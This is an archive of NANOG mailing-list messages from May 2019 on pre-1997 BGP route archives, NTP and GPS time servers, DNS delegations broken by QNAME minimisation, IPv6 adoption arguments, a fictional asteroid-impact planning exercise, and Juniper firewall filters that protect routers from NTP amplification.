On Mon, May 6, 2019, 3:53 PM Bill Woodcock wrote: > > > > On May 6, 2019, at 12:47 PM, John Osmon wrote: > > > > I've got a need to look for some announcements from the mid 1990s. > > The oldest I've found at at the University of Oregon Route Views > > Project, but the earliest I can find there appears to be November of > > 1997. > > That’s when PCH began archiving them (and subsequently turned that archive > over to U of O). We weren’t aware of anyone publicly archiving transit > routes prior to that. > > -Bill > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From randy at psg.com Mon May 6 22:16:36 2019 From: randy at psg.com (Randy Bush) Date: Mon, 06 May 2019 15:16:36 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: <20190506194724.GA5260@jeeves.rigozsaurus.com> References: <20190506194724.GA5260@jeeves.rigozsaurus.com> Message-ID: > I've got a need to look for some announcements from the mid 1990s. > The oldest I've found at at the University of Oregon Route Views > Project, but the earliest I can find there appears to be November of > 1997. > > Anyone have pointers to date from earlier? sorry, that was the start of public route collection. nothing earlier. randy From esr at thyrsus.com Tue May 7 01:52:57 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Mon, 6 May 2019 21:52:57 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: <20190507015257.GA9071@thyrsus.com> Brielle Bruns : > I've got a WWVB clock as well that I'd love to get hooked into my main NTP > server, but I worry they're going to finally kill that off in the next year > or so. Alas, your WWVB clock is probably already almost useless except as a wall decoration. The modulation of the subsecond part of the WWVB signal changed in 2012. If your clock is older than that, the best it can still do is pick up the low-precision per-second tick. -- Eric S. Raymond From esr at thyrsus.com Tue May 7 02:06:07 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Mon, 6 May 2019 22:06:07 -0400 Subject: NTP question In-Reply-To: References: Message-ID: <20190507020607.GB9071@thyrsus.com> Alejandro Acosta : > "The built in high sensitivity GPS receiver is able to lock multiple > satellites from within multiple buildings or from a window location*, > eliminating the requirement that an outdoor antenna be installed*." Even relatively low-end GPS hardware can do this now. https://www.ntpsec.org/white-papers/stratum-1-microserver-howto/ That's my recipe for a GPS-based Stratum 1 server built from a RasPi and any one of several generally-available GPS daughterboards. Cost less than $100. A window location works just fine. I have six of these on the windowsill above my desk - they're my test fleet for NTPsec. The trees near the outside of that window aren't a problem, and while it isn't *guaraneed* that you have a 4-satellite lock at any ven time periods of no tracking tend to be short. -- Eric S. Raymond From esr at thyrsus.com Tue May 7 02:08:19 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Mon, 6 May 2019 22:08:19 -0400 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> Message-ID: <20190507020819.GC9071@thyrsus.com> Mel Beckman : > It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) The recipe I posted a link to upthread is cheaper. https://www.ntpsec.org/white-papers/stratum-1-microserver-howto/ -- Eric S. Raymond From marka at isc.org Tue May 7 02:23:45 2019 From: marka at isc.org (Mark Andrews) Date: Tue, 7 May 2019 12:23:45 +1000 Subject: DNS and QNAME MINIMISATION Message-ID: <48CC6E23-3B0B-4887-9544-6FF80DEEB6F2@isc.org> Recursive servers that perform QNAME MINIMISATION are being deployed and they are exposing broken delegations like this one. % dig -x 142.136.234.134 ;; BADCOOKIE, retrying. ; <<>> DiG 9.15.0-dev+hotspot+add-prefetch+marka <<>> -x 142.136.234.134 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 39443 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: d4d342d1c371c244772e3c725cd0e9163bc9f7112443be2b (good) ;; QUESTION SECTION: ;134.234.136.142.in-addr.arpa. IN PTR ;; Query time: 4140 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue May 07 12:10:30 AEST 2019 ;; MSG SIZE rcvd: 85 % Now you may think, so what? But when you do a dig +trace you find this at the end ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27732 ;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;134.234.136.142.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 136.142.in-addr.arpa. 86400 IN NS ns1.twcable.com. 136.142.in-addr.arpa. 86400 IN NS ns2.twcable.com. 136.142.in-addr.arpa. 10800 IN NSEC 137.142.in-addr.arpa. NS RRSIG NSEC 136.142.in-addr.arpa. 10800 IN RRSIG NSEC 5 4 10800 20190521003550 20190506233550 3402 142.in-addr.arpa. CErPYfRum0q2On4+XSc3avPzzqYa98oxYFp+8NRblUnbgAQ02Jta/FWS NcpBBvMnw6sTIfsVY0TqgAC6MCMj8ojHca3+IgVFqa2gSPISewvH1ajl rNLPAiIgiOjIwdQFe2FRd9UaKnl3XKGsYYLFmAe4yn3wL5aIRaVKjFAi y0w= ;; Query time: 373 msec ;; SERVER: 2001:67c:e0::10#53(2001:67c:e0::10) ;; WHEN: Tue May 07 12:11:46 AEST 2019 ;; MSG SIZE rcvd: 322 ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59480 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;134.234.136.142.in-addr.arpa. IN PTR ;; ANSWER SECTION: 134.234.136.142.in-addr.arpa. 14400 IN PTR nce.mail.chartercom.com. ;; AUTHORITY SECTION: 234.136.142.in-addr.arpa. 500 IN NS cdp-wn-tm-5-01.inf.twcable.com. ;; Query time: 1009 msec ;; SERVER: 165.237.86.252#53(165.237.86.252) ;; WHEN: Tue May 07 12:11:47 AEST 2019 ;; MSG SIZE rcvd: 135 % And I’m pretty sure Charter/TWCable want email to be delivered to/from them. The reason for the failure is that cdp-wn-tm-5-01.inf.twcable.com does not exist and qname minimisation results in the recursive server discovering the NS record and as there is no A or AAAA records for this name the PTR lookup fails. % dig cdp-wn-tm-5-01.inf.twcable.com ;; BADCOOKIE, retrying. ; <<>> DiG 9.15.0-dev+hotspot+add-prefetch+marka <<>> cdp-wn-tm-5-01.inf.twcable.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 48170 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: d39d81ee2cc4f57c8558cf475cd0eaa7f5079768e7dfb548 (good) ;; QUESTION SECTION: ;cdp-wn-tm-5-01.inf.twcable.com. IN A ;; AUTHORITY SECTION: twcable.com. 3600 IN SOA ns1.twcable.com. hostmaster.pblpdns01.twcable.com. 2019042503 14400 7200 604800 3600 ;; Query time: 610 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue May 07 12:17:11 AEST 2019 ;; MSG SIZE rcvd: 170 % -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From msa at latt.net Tue May 7 03:15:15 2019 From: msa at latt.net (Majdi S. Abbas) Date: Mon, 6 May 2019 23:15:15 -0400 Subject: historical BGP announcements? (pre-1997) In-Reply-To: <20190506194724.GA5260@jeeves.rigozsaurus.com> References: <20190506194724.GA5260@jeeves.rigozsaurus.com> Message-ID: <20190507031515.GA28059@puck.nether.net> On Mon, May 06, 2019 at 01:47:24PM -0600, John Osmon wrote: > I've got a need to look for some announcements from the mid 1990s. > The oldest I've found at at the University of Oregon Route Views > Project, but the earliest I can find there appears to be November of > 1997. > > Anyone have pointers to date from earlier? Collected announcements? None that I know of. A possible proxy for them? Maybe. Dig through the NSFNET NACR archives, and you can at least build a list of possible announcements. (The same is probably true of any old PRDB data kicking around out there, and the NSS configs.) --msa From johnl at iecc.com Tue May 7 03:35:29 2019 From: johnl at iecc.com (John Levine) Date: 6 May 2019 23:35:29 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> Message-ID: <20190507033529.D244E20136F028@ary.qy> In article <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel at interlinx.bc.ca> you write: >But the came I am making is to PHBs, not engineers and I am trying to >find a path of least resistance. Oh, then tell them that IPv4 addresses now cost (wave hands) ten bucks each while IPv6 addresses are free because there's so many more of them. The sooner you're able to run your own infrastructure on v6, the longer your now-valuable v4 addresses will last. I wouldn't say it's strictly true, but it's less false than claiming there will be services other places you can only get to on v6. From swmike at swm.pp.se Tue May 7 06:24:54 2019 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 7 May 2019 08:24:54 +0200 (CEST) Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <22a431c96e5bbf98d7c9afc9c68bfea43b6238c6.camel@interlinx.bc.ca> References: <22a431c96e5bbf98d7c9afc9c68bfea43b6238c6.camel@interlinx.bc.ca> Message-ID: On Mon, 6 May 2019, Brian J. Murrell wrote: > That and that such a VPS is only reachable from IPv6 addresses, if I > were to have one, makes more of a case why other ISPs should support > IPv6 rather than my own ISP. I have things at work that is only reachable using IPv6. This is not of general interest to anyone, but it does make it annoying for me when I happen to be on IPv4 only as I have to perform extra steps to reach these IPv6 only resources. I also have devices in my home I can only login directly to via IPv6, as I have opted not to have any IPv4 port forwards in my router. So the best case you can probably make is that there are things out there that are IPv6 only, not just the kinds of services that most people would care about (since if they would, someone would want it as widely available as possible, this making it dual stack). -- Mikael Abrahamsson email: swmike at swm.pp.se From lee.howard at retevia.net Tue May 7 11:53:44 2019 From: lee.howard at retevia.net (Lee Howard) Date: Tue, 7 May 2019 07:53:44 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> References: <20190506161256.00264201360E69@ary.qy> <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> Message-ID: On 5/6/19 12:45 PM, Brian J. Murrell wrote: > > But the came I am making is to PHBs, not engineers and I am trying to > find a path of least resistance. IPv6 is, on average, 20ms faster than IPv4. I don't know why, I just know that the evidence is diverse and compelling that it's true. https://www.retevia.net/fast A faster web site means people find it earlier in Google search, stay on it longer, and buy more stuff from it. https://www.retevia.net/seo If you're an ISP, it would be nice to give your customers that extra speed. IPv6 in your data center also means your security team has an easier time tracking down miscreants than if they were behind CGN. Any security tool without IPv6 is blind to 54% of US traffic, 24% of CA traffic, 27% of global traffic. Renumbering into IPv6 might mean you can make addresses available for sale, and prices are approaching the point where that makes sense. https://www.retevia.net/address-pricing-2019-and-beyond/ For ISPs, you should absolutely figure out your IPv4 run rate, i.e., when you'll run out of IPv4 addresses. Then the PHBs have to decide what to do about that: deploy IPv6 and hope it's a viable alternative (with translation?), buy IPv4 addresses (at today's prices or tomorrow's, and how many addresses?), or deploy NAT44 and hope customers are okay with it. For ISPs, consider how many of your customers are medium to large companies. These customers may need IPv6, either to sell their own addresses, or to connect with branches or partners who are out of IPv4. There are ISPs in the world who only support native IPv4 because some of their customers can't get approval for IPv4 from US corporate HQ. Of course, they pay more for that. For that matter, consider how much you charge for additional IPv4 addresses, and the rate at which customers could decline that service. (But wait, you say, PHBs don't want to lose the IPv4 revenue! Depends on whether the competition is likely to offer the cheaper alternative) Finally, the Rabobank argument: Maybe there aren't important sites, tools, or architectures that are only available over IPv6 right now. When will there be? Five years? Ten? (Seven? https://www.retevia.net/ipv6-growth/) How long will it take you to be completely IPv4-independent, and will it be done in time? So there's an 8-slide deck for you. Good luck with that pitch! I'm interested in what feedback/pushback you get. Lee > > b. > From jeroen at massar.ch Tue May 7 14:04:24 2019 From: jeroen at massar.ch (Jeroen Massar) Date: Tue, 7 May 2019 16:04:24 +0200 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <20190507135536.pd3p7oscyxqaltjs@welcome.groovy.net> References: <7abf4a7e-79c2-532b-0449-61c49240e70f@massar.ch> <20190507135536.pd3p7oscyxqaltjs@welcome.groovy.net> Message-ID: <3ce95505-5ddb-240f-bebf-4ae6ba768580@massar.ch> On 2019-05-07 15:55, William Waites wrote: > On 05/03, Jeroen Massar wrote: >> >> IPv6 is not a darknet, you won't find something hidden and unique there. > > The Dancing Kame, surely. That Kame has been liberated and made available over IPv4 so long ago that the shop that was selling the stuffed ones has been defunct for about two decades... Greets, Jeroen -- And the little guy has always been served over IPv4 actually: http://www.kame.net/img/kame-anime-small.gif From ww at styx.org Tue May 7 13:55:36 2019 From: ww at styx.org (William Waites) Date: Tue, 7 May 2019 14:55:36 +0100 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <7abf4a7e-79c2-532b-0449-61c49240e70f@massar.ch> References: <7abf4a7e-79c2-532b-0449-61c49240e70f@massar.ch> Message-ID: <20190507135536.pd3p7oscyxqaltjs@welcome.groovy.net> On 05/03, Jeroen Massar wrote: > > IPv6 is not a darknet, you won't find something hidden and unique there. The Dancing Kame, surely. From sean at donelan.com Tue May 7 18:20:03 2019 From: sean at donelan.com (Sean Donelan) Date: Tue, 7 May 2019 14:20:03 -0400 (EDT) Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario Message-ID: EXERCISE Only The scenario was chosen to stress the partcipants, not an actual asteroid impact. It was a fictional scenario. This was only an exercise. 60 meter asteroid impact in New York City, NY (roughly Central Park, NYC) 10,117,016 population directly affected Estimated unsurvivable area (complete destruction) 32 square miles Internet Communications 30 Internet exchange points (1 unsurvivable, 8 critical damage, 20 severe damage, 1 serious damage) 708 Data centers (16 unsurvivable, 229 crtical damage, 446 severe damage, 16 serious: 6,300 Points of presence (1853 unsurvivable, 453 critical damage, 1447 severe damage, 456 serious damage) Indirect Internet impacts Mass communications Social media, misinformation and malinformation https://cneos.jpl.nasa.gov/pd/cs/pdc19/ From bzs at theworld.com Tue May 7 18:46:29 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Tue, 7 May 2019 14:46:29 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: <22a431c96e5bbf98d7c9afc9c68bfea43b6238c6.camel@interlinx.bc.ca> Message-ID: <23761.53893.346585.308767@gargle.gargle.HOWL> That's it! Put your stuff on IPv6-only and vastly improve your security footprint! -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From lists at tigertech.com Tue May 7 19:14:32 2019 From: lists at tigertech.com (Robert L Mathews) Date: Tue, 7 May 2019 12:14:32 -0700 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> References: <20190506161256.00264201360E69@ary.qy> <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> Message-ID: On 5/6/19 9:45 AM, Brian J. Murrell wrote: > But the came I am making is to PHBs, not engineers and I am trying to > find a path of least resistance. Providing IPv6 can increase perceived reliability for customers via the Happy Eyeballs algorithm . If the IPv4 and IPv6 paths from client to server are different (as they often are), clients can bypass bad IPv4 network paths to a server if IPv6 is also available. This avoids some "I can't connect to website X" support calls, decreasing costs. -- Robert L Mathews, Tiger Technologies From bhuffake at caida.org Tue May 7 19:37:56 2019 From: bhuffake at caida.org (Bradley Huffaker) Date: Tue, 7 May 2019 12:37:56 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: <20190507031515.GA28059@puck.nether.net> References: <20190506194724.GA5260@jeeves.rigozsaurus.com> <20190507031515.GA28059@puck.nether.net> Message-ID: Just in case someone has, or finds, historic BGP data sitting, CAIDA would be willing to host it. > On May 6, 2019, at 8:15 PM, Majdi S. Abbas wrote: > > On Mon, May 06, 2019 at 01:47:24PM -0600, John Osmon wrote: >> I've got a need to look for some announcements from the mid 1990s. >> The oldest I've found at at the University of Oregon Route Views >> Project, but the earliest I can find there appears to be November of >> 1997. >> >> Anyone have pointers to date from earlier? > > Collected announcements? None that I know of. A possible > proxy for them? Maybe. > > Dig through the NSFNET NACR archives, and you can at least > build a list of possible announcements. (The same is probably true > of any old PRDB data kicking around out there, and the NSS configs.) > > --msa > From mis at seiden.com Tue May 7 19:39:09 2019 From: mis at seiden.com (Mark Seiden) Date: Tue, 7 May 2019 12:39:09 -0700 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: excellent!  (but i was hoping this would be a swamp-draining-by-vaporization exercise.) i particularly liked this animation. https://cneos.jpl.nasa.gov/pd/cs/pdc19/Day5-MegaFire.mov On May 7, 2019, 11:21 AM -0700, Sean Donelan , wrote: > > EXERCISE Only > > The scenario was chosen to stress the partcipants, not an actual asteroid > impact. It was a fictional scenario. This was only an exercise. > > 60 meter asteroid impact in New York City, NY (roughly Central Park, NYC) > > 10,117,016 population directly affected > > Estimated unsurvivable area (complete destruction) 32 square miles > > > Internet Communications > > 30 Internet exchange points (1 unsurvivable, 8 critical damage, 20 severe > damage, 1 serious damage) > > 708 Data centers (16 unsurvivable, 229 crtical damage, 446 severe damage, > 16 serious: > > 6,300 Points of presence (1853 unsurvivable, 453 critical damage, 1447 > severe damage, 456 serious damage) > > > Indirect Internet impacts > > Mass communications > > Social media, misinformation and malinformation > > https://cneos.jpl.nasa.gov/pd/cs/pdc19/ > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From marshall.eubanks at gmail.com Tue May 7 20:16:19 2019 From: marshall.eubanks at gmail.com (Marshall Eubanks) Date: Tue, 7 May 2019 16:16:19 -0400 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: Yes, they kept moving the impact site around all week (both Denver and West Africa were mentioned at times). Some people wiser than I guessed Central Park early on, but I thought that was too obvious. Good thing I didn't make a bet on it. Regards Marshall Eubanks On Tue, May 7, 2019 at 2:21 PM Sean Donelan wrote: > > > EXERCISE Only > > The scenario was chosen to stress the partcipants, not an actual asteroid > impact. It was a fictional scenario. This was only an exercise. > > 60 meter asteroid impact in New York City, NY (roughly Central Park, NYC) > > 10,117,016 population directly affected > > Estimated unsurvivable area (complete destruction) 32 square miles > > > Internet Communications > > 30 Internet exchange points (1 unsurvivable, 8 critical damage, 20 severe > damage, 1 serious damage) > > 708 Data centers (16 unsurvivable, 229 crtical damage, 446 severe damage, > 16 serious: > > 6,300 Points of presence (1853 unsurvivable, 453 critical damage, 1447 > severe damage, 456 serious damage) > > > Indirect Internet impacts > > Mass communications > > Social media, misinformation and malinformation > > https://cneos.jpl.nasa.gov/pd/cs/pdc19/ > > From nick at foobar.org Tue May 7 20:31:38 2019 From: nick at foobar.org (Nick Hilliard) Date: Tue, 7 May 2019 21:31:38 +0100 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Marshall Eubanks wrote on 07/05/2019 21:16: > Yes, they kept moving the impact site around all week (both Denver and > West Africa were mentioned at times). Some people wiser than I guessed > Central Park early on, but I thought that was too obvious. Good thing > I didn't make a bet on it. pfft, asteroid impacts and alien mothership crashes are bound to happen in Central Park. Everyone knows that! Nick From mis at seiden.com Tue May 7 21:50:01 2019 From: mis at seiden.com (Mark Seiden) Date: Tue, 7 May 2019 14:50:01 -0700 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: <8c220ae6-3901-4ba1-829c-37402b7430aa@Spark> manifestly untrue https://movie-tourist.blogspot.com/2012/08/the-day-earth-stood-still-1951.html On May 7, 2019, 1:33 PM -0700, Nick Hilliard , wrote: > Marshall Eubanks wrote on 07/05/2019 21:16: > > Yes, they kept moving the impact site around all week (both Denver and > > West Africa were mentioned at times). Some people wiser than I guessed > > Central Park early on, but I thought that was too obvious. Good thing > > I didn't make a bet on it. > > pfft, asteroid impacts and alien mothership crashes are bound to happen > in Central Park. Everyone knows that! > > Nick > -------------- next part -------------- An HTML attachment was scrubbed... URL: From chinese.apricot at gmail.com Tue May 7 23:12:15 2019 From: chinese.apricot at gmail.com (william manning) Date: Tue, 7 May 2019 16:12:15 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: References: <20190506194724.GA5260@jeeves.rigozsaurus.com> <20190507031515.GA28059@puck.nether.net> Message-ID: somewhere, I have a DVD of the Route Server logs from when we first turned up the NSF/NAPS (circa 1994) until the UO service came online. I know I offered them to CAIDA at one time. Don't remember anything happening. (not that it matters, but I also have the RFC 1918 blackhole server logs from inception until 2002.) /Wm On Tue, May 7, 2019 at 12:39 PM Bradley Huffaker wrote: > Just in case someone has, or finds, historic BGP data sitting, > CAIDA would be willing to host it. > > > On May 6, 2019, at 8:15 PM, Majdi S. Abbas wrote: > > > > On Mon, May 06, 2019 at 01:47:24PM -0600, John Osmon wrote: > >> I've got a need to look for some announcements from the mid 1990s. > >> The oldest I've found at at the University of Oregon Route Views > >> Project, but the earliest I can find there appears to be November of > >> 1997. > >> > >> Anyone have pointers to date from earlier? > > > > Collected announcements? None that I know of. A possible > > proxy for them? Maybe. > > > > Dig through the NSFNET NACR archives, and you can at least > > build a list of possible announcements. (The same is probably true > > of any old PRDB data kicking around out there, and the NSS configs.) > > > > --msa > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From woody at pch.net Tue May 7 23:19:14 2019 From: woody at pch.net (Bill Woodcock) Date: Tue, 7 May 2019 16:19:14 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: References: <20190506194724.GA5260@jeeves.rigozsaurus.com> <20190507031515.GA28059@puck.nether.net> Message-ID: <7094FE86-B432-4348-A5ED-92C21A885D31@pch.net> > On May 7, 2019, at 4:12 PM, william manning wrote: > > somewhere, I have a DVD of the Route Server logs from when we first turned up the NSF/NAPS (circa 1994) until the UO service came online. Well, if you ever run across them again, I’m sure Brad and Steve and I would all be happy to publish them. -Bill -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: Message signed with OpenPGP URL: From sean at donelan.com Wed May 8 01:44:30 2019 From: sean at donelan.com (Sean Donelan) Date: Tue, 7 May 2019 21:44:30 -0400 (EDT) Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: On Tue, 7 May 2019, Nick Hilliard wrote: > pfft, asteroid impacts and alien mothership crashes are bound to happen in > Central Park. Everyone knows that! The next Planetary Defence Conference in 2021 will be hosted in Europe. That means a major city on the European continent will likely be destroyed in the next asteroid exercise :-) 2015 exercise - fictional impact Dhaka, Bangladesh 2017 exercise - no fictional impact Tokyo, Japan (asteroid deflected) 2019 exercise - fictional impact New York City, NY Which iconic places in Europe to plot the 2021 PDC asteroid path? Of course, any fictional scenario is more likely to hit an ocean or miss the planet. But that makes for a dull exercise. From surfer at mauigateway.com Wed May 8 03:28:59 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 7 May 2019 20:28:59 -0700 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario Message-ID: <20190507202859.7F1FED3A@m0117164.ppops.net> --- sean at donelan.com wrote: From: Sean Donelan Of course, any fictional scenario is more likely to hit an ocean...But that makes for a dull exercise. ------------------------------------- Not for some of us... ;-) scott From kaze0010 at umn.edu Wed May 8 03:35:29 2019 From: kaze0010 at umn.edu (Haudy Kazemi) Date: Tue, 7 May 2019 22:35:29 -0500 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: > > Of course, any fictional scenario is more likely to hit an ocean or miss > the planet. But that makes for a dull exercise. > For any hit, a lot depends on impactor size. With an impactor of the size that took out the non-avian dinosaurs...the site of impact probably won't matter to us if humanity is unable to deflect it. See the RadioLab Dinopocalypse Redux from a few days ago for more on the model. https://www.wbez.org/shows/radiolab/dinopocalypse-redux/a36ca1fd-9525-40bc-88d3-e66116f1da50 -------------- next part -------------- An HTML attachment was scrubbed... URL: From randy at psg.com Wed May 8 03:41:57 2019 From: randy at psg.com (Randy Bush) Date: Tue, 07 May 2019 20:41:57 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: References: <20190506194724.GA5260@jeeves.rigozsaurus.com> <20190507031515.GA28059@puck.nether.net> Message-ID: i am wondering if there is an archive of whatevertheheckweusedtocallthem before they were swips. began with r i think. what curtis processed every wednesday. randy From lprehn at mpi-inf.mpg.de Wed May 8 07:56:33 2019 From: lprehn at mpi-inf.mpg.de (Lars Prehn) Date: Wed, 8 May 2019 09:56:33 +0200 Subject: NTP for ASBRs? Message-ID: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> Hi everyone, do you NTP sync your AS boundary routers? If so, what are incentives for doing so? Are there incentives, e.g. security considerations, not to do it? Best regards, Lars From job at ntt.net Wed May 8 12:37:43 2019 From: job at ntt.net (Job Snijders) Date: Wed, 8 May 2019 14:37:43 +0200 Subject: NTP for ASBRs? In-Reply-To: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> Message-ID: <20190508123743.GS10554@hanna.meerval.net> Dear Lars, On Wed, May 08, 2019 at 09:56:33AM +0200, Lars Prehn wrote: > do you NTP sync your AS boundary routers? yes > If so, what are incentives for doing so? Are there incentives, e.g. > security considerations, not to do it? The major advantage of NTP syncing your routers is that it allows you to more effectively correlate any log messages that these devices emit to log messages other devices generated. Did two events happen at separate times, or was it perhaps the same event at the same time? the incentive is ease of troubleshooting. on this topic, i strongly recommend to operate all devices in the Etc/UTC timezone, this makes coordination with external entities much easier. Kind regards, Job From sean at donelan.com Wed May 8 14:11:10 2019 From: sean at donelan.com (Sean Donelan) Date: Wed, 8 May 2019 10:11:10 -0400 (EDT) Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: On Tue, 7 May 2019, Haudy Kazemi wrote: > For any hit, a lot depends on impactor size. With an impactor of the size > that took out the non-avian dinosaurs...the site of impact probably won't > matter to us if humanity is unable to deflect it. I understand the intent. Earth is still a single point of failure. For disaster exercise planning purposes, extinction level events don't make for very interesting game-play. The disaster game-play is over by Monday afternoon, and the rest of the exercise week is a bust. The white team is forced to roll-back time and raise civilization from the ashes to continue with rest of the week. That's why extinction level events are generally used only in disaster planning study papers, not exercises. Many exercise designers could use help coming up with useful Internet disaster sub-plots. Bad enough to inject stress into the exercise, but not extinction. All ISP tech support agents are infected, and become brain eating zombies. From Bryan at bryanfields.net Wed May 8 14:22:03 2019 From: Bryan at bryanfields.net (Bryan Fields) Date: Wed, 8 May 2019 10:22:03 -0400 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: On 5/7/19 3:39 PM, Mark Seiden wrote: > excellent!  (but i was hoping this would be a swamp-draining-by-vaporization > exercise.) the matador...the matador... the matador! -- Bryan Fields 727-409-1194 - Voice http://bryanfields.net From bernat at luffy.cx Wed May 8 14:22:25 2019 From: bernat at luffy.cx (Vincent Bernat) Date: Wed, 08 May 2019 16:22:25 +0200 Subject: NTP for ASBRs? In-Reply-To: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> (Lars Prehn's message of "Wed, 8 May 2019 09:56:33 +0200") References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> Message-ID: <87mujxc9ge.fsf@luffy.cx> ❦ 8 mai 2019 09:56 +02, Lars Prehn : > do you NTP sync your AS boundary routers? If so, what are incentives > for doing so? Are there incentives, e.g. security considerations, not > to do it? Ensure you have a firewall rule in place to prevent people to use your router for NTP amplification. NTP clients are also servers. On Juniper devices: policy-options { prefix-list ntp-servers { apply-path "system ntp server <*>"; } } firewall { /* ... */ term accept-ntp { from { source-prefix-list { ntp-servers; } protocol udp; port ntp; } then { policer management-1m; accept; } } } (see for more details). -- Keep it simple to make it faster. - The Elements of Programming Style (Kernighan & Plauger) From kenneth.mcrae at me.com Wed May 8 14:31:28 2019 From: kenneth.mcrae at me.com (Kenneth McRae) Date: Wed, 8 May 2019 07:31:28 -0700 Subject: NTP for ASBRs? In-Reply-To: <87mujxc9ge.fsf@luffy.cx> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> <87mujxc9ge.fsf@luffy.cx> Message-ID: You will also need to add you localhost as a source if you want to show that ntp association status on the router apply-flags omit; term allow-ntp { from { source-prefix-list { ntp-server; localhost; } protocol udp; port ntp; } then { policer gen-use-1m; accept; } } show policy-options prefix-list localhost apply-flags omit; apply-path "interfaces lo0 unit 0 